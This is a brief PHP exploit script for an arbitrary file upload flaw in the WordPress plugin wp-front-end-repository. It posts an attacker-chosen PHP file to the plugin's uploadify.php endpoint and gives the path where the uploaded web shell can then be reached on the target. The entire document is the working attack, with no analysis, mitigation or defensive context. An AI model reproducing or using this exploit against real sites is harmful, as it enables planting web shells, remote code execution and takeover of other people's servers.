WP Front upload vulnerability

<?php
$uploadfile="yourfile.php";
$ch = curl_init("http://{target}/wp-content/plugins/wp-front-end-repository/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
# Shell path: http://{target}/wp-content/plugins/wp-front-end-repository/js/uploadify/{filename}.php